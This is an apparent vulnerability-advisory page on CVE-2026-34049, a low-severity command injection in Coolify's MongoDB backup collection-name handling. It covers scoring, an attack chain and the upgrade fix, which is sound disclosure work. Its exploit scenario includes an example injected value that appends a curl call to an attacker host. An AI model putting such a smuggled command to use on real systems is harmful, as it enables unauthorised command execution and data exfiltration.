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Coolify CVE-2026-34049

| EUVDEUVD-2026-41958 LOW
OS Command Injection (CWE-78)
2026-07-06 GitHub_M
3.3
CVSS 3.1 · Vendor: GitHub_M

Severity by source

Vendor (GitHub_M) PRIMARY
3.3 LOW
AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
vuln.today AI
3.3 LOW

Network-accessible admin UI justifies AV:N; exploitation requires admin privilege (PR:H) and specific backup configuration alignment (AC:H); no availability impact observed.

3.1 AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
4.0 AV:N/AC:H/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch available
Jul 06, 2026 - 23:01 EUVD
Analysis Generated
Jul 06, 2026 - 22:50 vuln.today

DescriptionCVE.org

Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. From 4.0.0-beta.451 through 4.0.0-beta.470, database backup handling for MongoDB collection names did not fully validate shell metacharacters, allowing a highly privileged attacker who can configure backup inputs to inject commands. This issue is fixed in version 4.0.0-beta.471.

AnalysisAI

Command injection in Coolify's MongoDB backup handler (versions 4.0.0-beta.451 through 4.0.0-beta.470) allows a highly privileged attacker who controls backup configuration to inject OS-level shell commands via unsanitized metacharacters in MongoDB collection names. The attack requires an already-administrative account capable of modifying backup inputs, substantially limiting the realistic threat surface. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain or compromise highly privileged Coolify admin credentials
Delivery
Access MongoDB backup configuration UI
Exploit
Set collection name containing shell metacharacters
Execution
Trigger backup job execution
Persist
Injected command executes on host system
Impact
Limited read/write access achieved on backup process context

Vulnerability AssessmentAI

Exploitation Exploitation requires a Coolify account with high administrative privileges capable of configuring MongoDB backup jobs - specifically the ability to set or modify MongoDB collection names used in backup inputs (reflected by PR:H in the CVSS vector). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 3.1 base score of 3.3 (Low) accurately reflects the constrained real-world risk: AV:N indicates the Coolify management interface is network-accessible, but PR:H requires an already highly privileged admin account, and AC:H signals that additional conditions (specific backup configuration with crafted collection names) must align for exploitation. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario A highly privileged Coolify administrator - or a threat actor who has compromised an admin account through credential theft or session hijacking - navigates to the MongoDB backup configuration and sets a collection name containing a shell metacharacter sequence such as `legit_collection; curl attacker.com/$(id)`. When the scheduled or manually triggered backup job executes, the unsanitized collection name is passed to the shell, causing the injected command to run in the context of the backup process on the host. …
Remediation Upgrade to Coolify version 4.0.0-beta.471, which contains the vendor-confirmed fix per the release at https://github.com/coollabsio/coolify/releases/tag/v4.0.0-beta.471. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

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CVE-2026-34049 vulnerability details – vuln.today

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